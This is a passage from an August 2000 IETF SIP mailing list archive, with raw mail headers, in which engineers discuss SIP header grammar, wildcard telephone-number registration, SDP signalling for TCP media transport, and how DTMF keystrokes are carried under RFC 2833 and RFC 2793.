digit and/or new parameters. > > eg. sip:555-4xxx;matchrange=0-79@gateway;user=tel-pattern > to specify 555-4000 to 555-4079 (just as a trivial example). The > user=tel-pattern ensures that the tel: is not processed as standard > telephone-subscriber. > > Any other ideas or comments ? > > This problem has probably been solved in H.323 Gatekeeper registrations but > I am not very au fait with the mechanisms of that protocol. Perhaps someone > else can comment. > > Regards, > > Robert. > > -- My opinions are my own. I tried selling them once but everybody > seems to already have one. -- > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 16 05:26:48 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA20538 for ; Wed, 16 Aug 2000 05:26:47 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id C9A7B44344; Wed, 16 Aug 2000 05:26:35 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mailctr.marben.fr (mailctr.marben.fr [193.105.113.5]) by lists.bell-labs.com (Postfix) with ESMTP id 2275B44338 for ; Wed, 16 Aug 2000 05:26:31 -0400 (EDT) Received: from copernic.marben.fr by mailctr.marben.fr with ESMTP (8.9.3/1.2-eef) id KAA20492; Wed, 16 Aug 2000 10:26:32 GMT Received: from [55.2.4.165] by copernic.marben.fr with ESMTP (8.9.3/1.2-eef) id JAA26902; Wed, 16 Aug 2000 09:23:42 GMT User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106 Date: Wed, 16 Aug 2000 11:28:02 +0200 Subject: Re: [SIP] Multiple To/From lines and Bcc From: Laurent Steffan To: Cc: Simon Barber , Jonathan Rosenberg , Message-ID: In-Reply-To: <20000816005340.A8635@dallas.net> Mime-version: 1.0 X-organization: Atos Int=?ISO-8859-1?B?6Q==?=gration Content-type: text/plain; charset="ISO-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id FAA20538 Actually, the draft does state that multiple headers are not always allowed: "Multiple header fields with the same field-name may be present in a message if and only if the entire field-value for that header field is defined as a comma-separated list (i.e., #(values))." (par. 6.5, "Header field format") Thats's the case for the Via: header, which can therefore appear multiple times (or equivalently can contain several via values). That's not the case for the From: field, so it cannot appear several times. At least that's how I read it. Best regards, Laurent Steffan ======== le 16/08/00 7:53, Brian F. G. Bidulock à bidulock@dallas.net a écrit : ======== > Jonathan, > > Perhaps Simon was referring to the following, which says that a > general-header can occur any number of times in a message. I saw no > reference to the restriction that a `From' could only occur once in a > message (although it makes sense). > >> generic-message = >> start-line *message-header CRLF [message-body] >> >> message-header = >> general-header | >> request-header | >> response-header | >> entity-header >> >> general-header = >> Accept ; Section 6.6 >> | Accept-Encoding ; Section 6.7 >> | Accept-Language ; Section 6.8 >> | Call-ID ; Section 6.12 >> | Call-Info ; Section 6.13 >> | Contact ; Section 6.14 >> | CSeq ; Section 6.20 >> | Date ; Section 6.21 >> | Encryption ; Section 6.22 >> | From ; Section 6.24 >> | MIME-Version ; Section 6.28 >> | Organization ; Section 6.29 >> | Record-Route ; Section 6.34 >> | Require ; Section 6.35 >> | Supported ; Section 6.41 >> | Timestamp ; Section 6.42 >> | To ; Section 6.43 >> | User-Agent ; Section 6.45 >> | Via ; Section 6.46 > > > Jonathan Rosenberg wrote: (Wed, 16 Aug 2000 00:33:58) >> >> >> Simon Barber wrote: >>> >>> According to the grammar multiple to and from lines are allowed (just as >>> RFC822 allows multiple to and from addresses). >> >> Hows that? The BNF is quite explicit that it is a single name-addr or >> addr-spec: >> >>> From = ( "From" | "f" ) ":" ( name-addr | addr-spec ) >>> *( ";" addr-params ) >>> addr-params = tag-param >>> tag-param = "tag=" UUID >>> UUID = 1*( hex | "-" ) >> >>> To = ( "To" | "t" ) ":" ( name-addr | addr-spec ) >>> *( ";" addr-params ) >> >> >> -Jonathan R. >> ======================================================================= Laurent M. STEFFAN Tel : + 33 (0)1 55 91 28 49 ATOS Consulting Technologies Fax : + 33 (0)1 55 91 26 53 Les Miroirs, Tour C 18, av. d'Alsace Internet : lsteffan@atos-group.com 92926 Paris La Defense Cedex - France ======================================================================= _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 16 05:47:33 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA20773 for ; Wed, 16 Aug 2000 05:47:33 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 9DD1F44365; Wed, 16 Aug 2000 05:47:14 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from bfgbhome.inetint.com (tnt-dal-42-216.dallas.net [209.44.42.216]) by lists.bell-labs.com (Postfix) with ESMTP id B676244338 for ; Wed, 16 Aug 2000 05:47:09 -0400 (EDT) Received: (from brian@localhost) by bfgbhome.inetint.com (8.9.3/8.9.3) id EAA03543; Wed, 16 Aug 2000 04:47:00 -0500 Date: Wed, 16 Aug 2000 04:47:00 -0500 From: "Brian F. G. Bidulock" To: Laurent Steffan Cc: Simon Barber , Jonathan Rosenberg , sip@lists.bell-labs.com Subject: Re: [SIP] Multiple To/From lines and Bcc Message-ID: <20000816044700.A3499@dallas.net> Reply-To: bidulock@dallas.net Mail-Followup-To: Laurent Steffan , Simon Barber , Jonathan Rosenberg , sip@lists.bell-labs.com References: <20000816005340.A8635@dallas.net> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.2i In-Reply-To: ; from lsteffan@atos-group.com on Wed, Aug 16, 2000 at 11:28:02AM +0200 Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit Laurent, I figured it must be somewhere, I just missed it... Thanks for the pointer. --Brian Laurent Steffan wrote: (Wed, 16 Aug 2000 11:28:02) > Actually, the draft does state that multiple headers are not always allowed: > > "Multiple header fields with the same field-name may be present in a message > if and only if the entire field-value for that header field is defined as a > comma-separated list (i.e., #(values))." (par. 6.5, "Header field format") > > Thats's the case for the Via: header, which can therefore appear multiple > times (or equivalently can contain several via values). That's not the case > for the From: field, so it cannot appear several times. At least that's how > I read it. > > Best regards, > Laurent Steffan > > ======== le 16/08/00 7:53, Brian F. G. Bidulock à bidulock@dallas.net a > écrit : ======== > > > Jonathan, > > > > Perhaps Simon was referring to the following, which says that a > > general-header can occur any number of times in a message. I saw no > > reference to the restriction that a `From' could only occur once in a > > message (although it makes sense). > > -- Brian F. G. Bidulock bidulock@dallas.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 16 06:55:06 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA21674 for ; Wed, 16 Aug 2000 06:55:06 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 5B77C44367; Wed, 16 Aug 2000 06:54:39 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sasi.com (samar.sasi.com.56.164.164.in-addr.arpa [164.164.56.2]) by lists.bell-labs.com (Postfix) with ESMTP id 9FE8B44338 for ; Wed, 16 Aug 2000 06:54:30 -0400 (EDT) Received: from samar (sasi.com [164.164.56.2]) by sasi.com (8.9.3/8.9.3) with SMTP id QAA13981; Wed, 16 Aug 2000 16:25:55 +0530 (IST) Received: from sung17.sasi.com ([10.0.64.17]) by samar.sasi.com; Wed, 16 Aug 2000 16:25:52 +0000 (IST) Received: from pcg140 (pcg140.sasi.com [10.0.64.140]) by sung17.sasi.com (8.9.3/8.9.3) with SMTP id QAA09789; Wed, 16 Aug 2000 16:23:05 +0530 (IST) Message-ID: <012b01c0076f$64c0dfe0$8c40000a@sasi.com> From: "rafi" To: "Fairlie-Cuninghame, Robert" , References: Subject: Re: [SIP] Telephone-subscriber registration. Date: Wed, 16 Aug 2000 16:17:37 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hi, Assuming we can use wildcard cahracter to register a set of user, what would be the response when not all users were successfuly registered ? Thanks Rafi Assadi H M ----- Original Message ----- From: Fairlie-Cuninghame, Robert To: Sent: Wednesday, August 16, 2000 1:19 PM Subject: [SIP] Telephone-subscriber registration. > Hi all, > > Is there any standard method or has anyone thought about a way to register a > range of telephone-subscribers? > > A SIP-PSTN gateway is not always aware of the exact presence of all its PSTN > endpoints. It may merely know that the trunk connecting to a range of phone > numbers is active. For instance, 555-4000 to 555-4999. It is impractical to > register 1000 endpoints individually but there still seems to be good cause > to want to register all these possible addresses with a SIP proxy. > > The most straight forward solution would seem to be to devise a method for > SIP-PSTN gateways to register using a tel: URL [RFC2806] in the To header > that specified a wildcard/pattern-match telephone-subscriber (currently not > supported). Suggestions? Adding a wildcard digit and/or new parameters. > > eg. sip:555-4xxx;matchrange=0-79@gateway;user=tel-pattern > to specify 555-4000 to 555-4079 (just as a trivial example). The > user=tel-pattern ensures that the tel: is not processed as standard > telephone-subscriber. > > Any other ideas or comments ? > > This problem has probably been solved in H.323 Gatekeeper registrations but > I am not very au fait with the mechanisms of that protocol. Perhaps someone > else can comment. > > Regards, > > Robert. > > -- My opinions are my own. I tried selling them once but everybody > seems to already have one. -- > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 16 08:04:46 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA22891 for ; Wed, 16 Aug 2000 08:04:42 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id DA0F844367; Wed, 16 Aug 2000 08:04:20 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id 9323944338 for ; Wed, 16 Aug 2000 08:04:16 -0400 (EDT) Received: from ubiquity.net by ubiquity.net with ESMTP (8.8.8+Sun/25-eef) id NAA15260; Wed, 16 Aug 2000 13:02:27 +0100 (BST) Message-ID: <399A82DA.256527BD@ubiquity.net> Date: Wed, 16 Aug 2000 13:02:34 +0100 From: Neil Deason Organization: Ubiquity Software Corporation Limited X-Mailer: Mozilla 4.61 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: sip@lists.bell-labs.com Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] Registrations not sharing the same Action Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Just a thought but is there a real need for the restriction that all active registrations MUST share the same Action? I would expect a Proxy co-located with a Registrar to want to proxy to registrations however in the case of non SIP URIs this may not be possible. But you don't want it to become a redirect server just to handle a single mailto:, or whatever, registered amongst a bunch of SIP URLs. So why not allow a Proxy/Registrar to accept a mixture of actions in registrations if it wants to. A SIP server could proxy to those contacts registered with a proxy action and then if it gets no 2xx response it could return a 3xx, perhaps making use of the new Contacts-Tried header, along with any contacts registered with a redirect action (incl non SIP URIs). Of course if a server doesn't accept a mix of actions it can still respond 409 Conflict. Cheers, Neil. -- Ubiquity Software Corporation, UK http://www.ubiquity.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 16 09:40:52 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA24595 for ; Wed, 16 Aug 2000 09:40:52 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0DEDC44340; Wed, 16 Aug 2000 09:40:47 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id E5EAB44338 for ; Wed, 16 Aug 2000 09:40:44 -0400 (EDT) Received: from dynamicsoft.com ([216.173.40.50]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id JAA18639; Wed, 16 Aug 2000 09:25:41 -0400 (EDT) Message-ID: <399A9759.F5946B8D@dynamicsoft.com> Date: Wed, 16 Aug 2000 09:30:01 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: rafi Cc: "Fairlie-Cuninghame, Robert" , sip@lists.bell-labs.com Subject: Re: [SIP] Telephone-subscriber registration. References: <012b01c0076f$64c0dfe0$8c40000a@sasi.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit rafi wrote: > > Hi, > > Assuming we can use wildcard cahracter to register a > set of user, Umm, no. Bad assumption. There is no such thing. what would be the response when not all users > were successfuly registered ? There is no point in worrying about error conditions for imaginary protocol features. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 16 10:26:45 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA25966 for ; Wed, 16 Aug 2000 10:26:43 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 98BE444356; Wed, 16 Aug 2000 10:25:16 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from nautilus.shore.net (nautilus.shore.net [207.244.124.104]) by lists.bell-labs.com (Postfix) with ESMTP id 4256344338 for ; Wed, 16 Aug 2000 10:25:13 -0400 (EDT) Received: from (hither.rfdsoftware.com) [209.192.222.62] by nautilus.shore.net with esmtp (Exim) id 13P47p-0005QM-00; Wed, 16 Aug 2000 10:25:01 -0400 Received: from cx991414-a.dialout.net (cx991414-a.crans1.ri.home.com [24.0.249.47]) by hither.rfdsoftware.com (8.9.2/8.9.2) with ESMTP id KAA08793; Wed, 16 Aug 2000 10:18:17 -0400 (EDT) Message-Id: <4.3.2.7.2.20000816091147.00d0b7a0@webhost.tactical-sw.com> X-Sender: dnyon@webhost.tactical-sw.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 16 Aug 2000 10:26:19 -0400 To: Jonathan Rosenberg , "Fairlie-Cuninghame, Robert" From: David Yon Subject: Re: [SIP] SIP, SDP, and TCP-based media transport Cc: "'Christian Huitema'" , sip@lists.bell-labs.com In-Reply-To: <3998F146.A9EA0761@dynamicsoft.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com At 03:29 AM 8/15/00 -0400, Jonathan Rosenberg wrote: >I agree as well. I am particularly interested in RTP/AVP-TCP for the >purposes of firewall traversal. Would both "TCP" and "RTP/AVP-TCP" share the same a= line options? Would they therefore be described in the same I-D or is there sufficiently more to say about RTP/AVP-TCP to warrant its own I-D? >I want to be sure we are consistent about what the semantic is of values >we place inside of SDP. So, lets take a step back. For passive, both and >uni, we need to specify the port we are listening on. This port will >also be the source port of packets sent back to the host which initiated >the connection. For active connections, David wishes to indicate the >source port that will be used in the initial SYN packet. I'm still not >clear on why this is needed. I talked about this earlier in the thread (substitute "port zero" in the mail for "PORT_ANY" or however you want to think about it): http://lists.bell-labs.com/pipermail/sip/2000q3/001855.html I don't know what to add to the above email---I thought I spelled it out fairly explicitly. >In any case, these are two different pieces of information, and as such, >should be conveyed in separate places. The m line is idea for the listen >port. In the case of active connections, I would propose this ALWAYS be >9. In this case, should a foolish firewall open up a hole to port 9, its >not a big deal. If active is in use, the a line could contain the source >port that will be used: > >a=direction:active 9384 Urk, it's amazing how hard it is to wedge this functionality into SDP without having at least *one* distasteful workaround. :-) The only thing I would add is that the direction:both should also be allowed to specify a source port if the UA deemed it necessary. >Good point on NAT. I have no problem combining both uni and both, and >allowing apps to decide how they distribute it. We would need to say >that implementations need to be prepared to receive packets on either >connection. So that leaves us with: direction:active direction:passive direction:both >Sounds like we are nearing consensus. If thats the case, someone should >write up the 3 page I-D on the subject and we can move forward. Unless somebody else is already typing madly away on the I-D, I'd be happy to write it up since I'm the one to blame for this thread. :-) David Yon Chief Technical Officer Dialout.Net, Inc. yon@dialout.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 16 10:28:59 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA26017 for ; Wed, 16 Aug 2000 10:28:58 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 988E344362; Wed, 16 Aug 2000 10:27:30 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from nautilus.shore.net (nautilus.shore.net [207.244.124.104]) by lists.bell-labs.com (Postfix) with ESMTP id DA6CA44338 for ; Wed, 16 Aug 2000 10:27:26 -0400 (EDT) Received: from (hither.rfdsoftware.com) [209.192.222.62] by nautilus.shore.net with esmtp (Exim) id 13P4AA-00066M-00; Wed, 16 Aug 2000 10:27:26 -0400 Received: from cx991414-a.dialout.net (cx991414-a.crans1.ri.home.com [24.0.249.47]) by hither.rfdsoftware.com (8.9.2/8.9.2) with ESMTP id KAA08799; Wed, 16 Aug 2000 10:20:40 -0400 (EDT) Message-Id: <4.3.2.7.2.20000816102740.00d10bc0@webhost.tactical-sw.com> X-Sender: dnyon@webhost.tactical-sw.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 16 Aug 2000 10:28:47 -0400 To: Jonathan Rosenberg , "Fairlie-Cuninghame, Robert" From: David Yon Subject: Re: [SIP] SIP, SDP, and TCP-based media transport Cc: "'Christian Huitema'" , sip@lists.bell-labs.com In-Reply-To: <4.3.2.7.2.20000816091147.00d0b7a0@webhost.tactical-sw.com> References: <3998F146.A9EA0761@dynamicsoft.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com At 10:26 AM 8/16/00 -0400, David Yon wrote: >At 03:29 AM 8/15/00 -0400, Jonathan Rosenberg wrote: > >>I agree as well. I am particularly interested in RTP/AVP-TCP for the >>purposes of firewall traversal. > >Would both "TCP" and "RTP/AVP-TCP" share the same a= line options? Would >they therefore be described in the same I-D or is there sufficiently more >to say about RTP/AVP-TCP to warrant its own I-D? I just wanted to clarify that by "a= line options" I meant the new "direction" attribute. Obviously RTP/AVP-TCP has a slew of other a= options that are not necessarily applicable to just TCP. David Yon Chief Technical Officer Dialout.Net, Inc. yon@dialout.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 16 12:25:32 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA29489 for ; Wed, 16 Aug 2000 12:25:31 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id DC0AD44338; Wed, 16 Aug 2000 12:25:26 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ivigate.intervoice.com (ivigate.intervoice.com [208.200.21.196]) by lists.bell-labs.com (Postfix) with ESMTP id E53F844338 for ; Wed, 16 Aug 2000 12:07:05 -0400 (EDT) Received: from intervoice-brite.com ([172.16.16.64]) by ivigate.intervoice.com (Build 98 8.9.3/NT-8.9.3) with SMTP id LAA13565 for ; Wed, 16 Aug 2000 11:09:02 -0500 Received: from INTERVOICE-Message_Server by intervoice-brite.com with Novell_GroupWise; Wed, 16 Aug 2000 11:06:22 -0500 Message-Id: X-Mailer: Novell GroupWise 5.2 Date: Wed, 16 Aug 2000 11:05:46 -0500 From: "Skip Cave" To: schulzrinne@cs.columbia.edu Cc: sip@lists.bell-labs.com Subject: Re: [SIP] DTMF and Universal Input Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id MAA29489 Skip Cave said: >> Simply modify RFC 2833 to require two sessions >> - one for keystrokes and signaling, and one for voice audio. >> I haven't heard any reasons why this (separate sessions)isn't >> a better solution. Robert Fairlie-Cuninghame said: > I also agree that a large change conceptual change needs > to be made so that keystrokes are treated as a > _separate_ stream (like video or data) rather > than just an audio-vocoder optimization/extension > conveying the same information. Archive: http://lists.bell-labs.com/pipermail/sip/2000q3/002106.html Henning Schulzrinne said: > (Combining keystrokes & audio in a single session) Has to do with ease of > synchronization at the tone reconstruction point. > You want to allow both: > - embedded in audio stream for recreating audio + tones with tight > synchronization; > - just events, for entities that don't care about audio. > The above mechanism (RFC 2833) supports this. Archive: http://lists.bell-labs.com/pipermail/sip/2000q3/002124.html Henning seems to be saying that, by putting DTMF keystrokes in the same session with audio, is is in some sense "easier" for the receiver to synchronize the key entry with the compressed audio stream. Also he seems to imply that you can synchronize the two media types more "tightly" if they are in the same stream. Of course, there are lots of applications that must synchronize multiple media streams. A video and audio application comes to mind. Or video and keystrokes. If what Henning says is true, then all media that needs to be tightly synchronized (audio, video, keystrokes, force-feedback controls, etc.....) should be placed in a single RTP session. Henning, are you saying that if you need to tightly synchronize video and audio, both media types should be placed in the same session? Or video & keystrokes? Doesn't SIP allow synchronization between two separate sessions just as easily as if they were in the same session? Surely, if you use the same timestamps for a DTMF stream and an audio stream, you can exactly re-synchronize them at the receiver end, regardless if they are in the same session or not? RFC 1890, Henning's last word on Video & Audio streaming, specifically states: "The payload types currently defined in this profile carry either audio or video, but not both". Therefore, audio & video are defined as separate media types with separate sessions. You should still should be able to synchronize audio & video even if they are in separate sessions. For another option, Colin Perkins writes: > I suggest you read RFC 2793 which describes how to use > RFC 2198 redundancy as a `reliable' transport for non-audio keystrokes. http://lists.bell-labs.com/pipermail/sip/2000q3/002113.html RFC 2793 - "RTP Payload for Text Conversation" is an RFC which I had somehow overlooked (thank you, Colin) which proposes a method to use RTP to transport T.140 "text conversation" sessions. It includes the assumption that the T.140 session will be a separate session from other media (good). However, it doesn't provide a way to indicate keystroke duration (bad). RFC 2793 proposes the same optional redundancy mechanism (RFC 2198) as Henning promotes to provide "reliable" transport in RCF 2833. RFC 2793 does not implement a traditional acknowledge-each-transmission kind of reliability. Instead, it uses RFC 2198 (like 2833) which proposes sending each datum more than once, thus raising the tolerance somewhat to lost packets. I doesn't eliminate errors due to lost packets, it just lowers the probability of occurance. I'm not sure if this is the best reliability mechanism for keystroke transport, but it is certainly better than doing nothing. Reliabile transport should not be an option for keystrokes, it should be a requirement. An important point here is that we have at least two different ways to exchange keystroke data between two SIP devices RFC 2833 (DTMF part) and RFC 2793. They each use different mechanisms to send the keystrokes, with different encodings. The two keystroke transport mechanisms even use different key encodings. RFC 2833 uses the following encoding for keys: Event encoding (decimal) _________________________ 0--9 0--9 * 10 # 11 A--D 12--15 RFC 2833 doesn't define encodings for any other keys. It assumes that all devices will only have a maximum of 16 keys. RFC also lumps lots of other non-keystroke-related stuff into the same category as keystrokes - call progress tones, hook flash, fax tones, etc. RFC 2793 proposes ISO/IEC 10646-1, level 3 (Unicode) encoding to define a much larger set of keys, but the 16 keys defined in RFC 2833 keys are included. 0x0030 DIGIT ZERO 0x0031 DIGIT ONE 0x0032 DIGIT TWO 0x0033 DIGIT THREE 0x0034 DIGIT FOUR 0x0035 DIGIT FIVE 0x0036 DIGIT SIX 0x0037 DIGIT SEVEN 0x0038 DIGIT EIGHT 0x0039 DIGIT NINE 0x0041 LATIN CAPITAL LETTER A 0x0042 LATIN CAPITAL LETTER B 0x0043 LATIN CAPITAL LETTER C 0x0044 LATIN CAPITAL LETTER D 0x002A ASTERISK 0x0023 NUMBER SIGN As you can see, the two protocols have two vastly different ways to encode the same thing - keystrokes. If I can summarize: RFC 2833 was designed to solve a very narrow problem set - the transport of all mechanically-generated PSTN tones and other PSTN events across a packet network, when the PSTN audio has been compressed by a non-tone-friendly compression scheme. RFC 2833 defines a large set of other events besides DTMF in the event transport - call progress signaling, flash, fax tones, etc, to aid in the transport of PSTN functionality across a packet network. Henning has shown how this mechanism can be extended to cover other application requirements (i.e. keystroke transport) using SDP media control mechanisms (m=), albeit it is not a perfect fit. RFC 2793 was designed to solve a different problem set - the transport of durationless keystrokes. This RFC uses ISO/IEC 10646-1, level 3 to define a much larger set of keys, but the keys on a DTMF phone are also included in the set. Both RFCs propose an optional usage of RFC 2198 for psuedo-reliable transport. I am not convinced that this mechanism is preferrable to more traditional reliable protocols, but it may be adequate. However, for keystrokes a reliability mechanism should be required, not optional. So why do we have two ways to transport keystrokes? In my company's applications we plan to receive SIP INVITES from PSTN/SIP Gateways, Softswitches, SIP phones, SIP mobile devices, and all manner of SIP terminals. We will INVITE sessions with all of these same types of devices. ALL of the key input from these different sources should use the same protocol. The key input that we send to all of these devices should use the same protocol. We don't want to have to use different protocols to send keystrokes to a SIP gateway, a SIP wireless device, a Softswitch, or a PC. We don't want to have to know ahead of time what type of device we are calling to determine what kind of session to INVITE to get keystrokes. All keystrokes, whether it be DTMF or 101-key PC keyboard should use the same protocol. It should be fairly easily to combine the PSTN-specific characteristics of RFC 2833 (duration, level, etc), with the separate session and large defined keyset of RFC 2793. By making level and frequency parameters optional, we can deal with both kinds of transmission devices. We should consider whether the redundancy reliability mechanism (RFC 2198) provides adequate reliability for keystroke transport. If PSTN transport vendors want to stick fax tones and call progress in with the compressed audio in a gateway-to-gateway RTP session, that's fine. just don't put keystrokes in there. The're a different animal. Skip Cave Sr. Principal Engineer InterVoice-Brite Inc. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 16 12:53:20 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA00032 for ; Wed, 16 Aug 2000 12:53:19 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 563F944394; Wed, 16 Aug 2000 12:50:42 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from 192.116.213.130 (unknown [192.116.213.130]) by lists.bell-labs.com (Postfix) with SMTP id 8D35044369 for ; Wed, 16 Aug 2000 12:50:37 -0400 (EDT) Received: from nt-mail.tlv.radvision.com ([172.20.2.100]) by 192.116.213.130 ; Wed, 16 Aug 2000 19:42:46 -0700 Received: by NT-MAIL with Internet Mail Service (5.5.2650.21) id ; Wed, 16 Aug 2000 19:48:31 +0300 Message-ID: From: Itamar Gilad To: "'Henning Schulzrinne'" , Jonathan Rosenberg Cc: Garret Wilson , SIP List Subject: RE: [SIP] isomorphic clarification Date: 